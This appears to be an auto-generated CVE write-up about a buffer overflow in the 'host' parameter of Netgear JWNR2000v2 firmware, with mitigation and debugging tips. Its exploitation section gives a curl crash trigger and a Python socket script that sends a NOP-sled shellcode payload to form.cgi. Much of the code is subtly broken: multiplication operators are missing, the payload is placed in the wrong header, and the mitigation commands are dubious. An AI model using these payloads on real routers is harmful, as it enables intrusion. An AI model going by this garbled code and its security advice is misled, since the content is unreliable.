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How CVE-2025-4120 Works
The vulnerability resides in the `sub_4238E8` function of Netgear JWNR2000v2 firmware version 1.0.0.11. A buffer overflow occurs when an attacker sends an overly long string via the `host` parameter. Due to insufficient bounds checking, this corrupts adjacent memory regions, potentially allowing remote code execution. The flaw is network-exploitable without authentication, making it critical. Attackers can craft malicious requests to overwrite return addresses or function pointers, hijacking execution flow to run arbitrary shellcode.
DailyCVE Form
Platform: Netgear JWNR2000v2
Version: 1.0.0.11
Vulnerability: Buffer Overflow
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation Analysis
1. Crash Trigger:
curl -X POST -d "host=$(python -c 'print("A"2000)')" http://target-ip/form.cgi
2. Shellcode Injection:
import socket
payload = b"\x90"500 + shellcode + b"\x41"(1500-len(shellcode))
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("target-ip", 80))
sock.send(b"POST /form.cgi HTTP/1.1\r\nHost: " + payload + b"\r\n\r\n")
Protection Measures
1. Firmware Update:
wget https://www.netgear.com/support/JWNR2000v2 -O firmware.bin
2. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "host=" --algo bm -j DROP
3. Memory Protection:
Enable ASLR and NX bit if supported by the device.
Debugging
1. GDB Analysis:
gdb-multiarch -q ./bin/httpd break 0x4238E8 run x/20x $sp
2. Crash Log:
dmesg | grep "segfault"
References
CVSS Breakdown
- Base Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- Exploitability: Network, No Privileges
- Impact: Full System Compromise
Detection
nmap -sV --script vulners target-ip
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
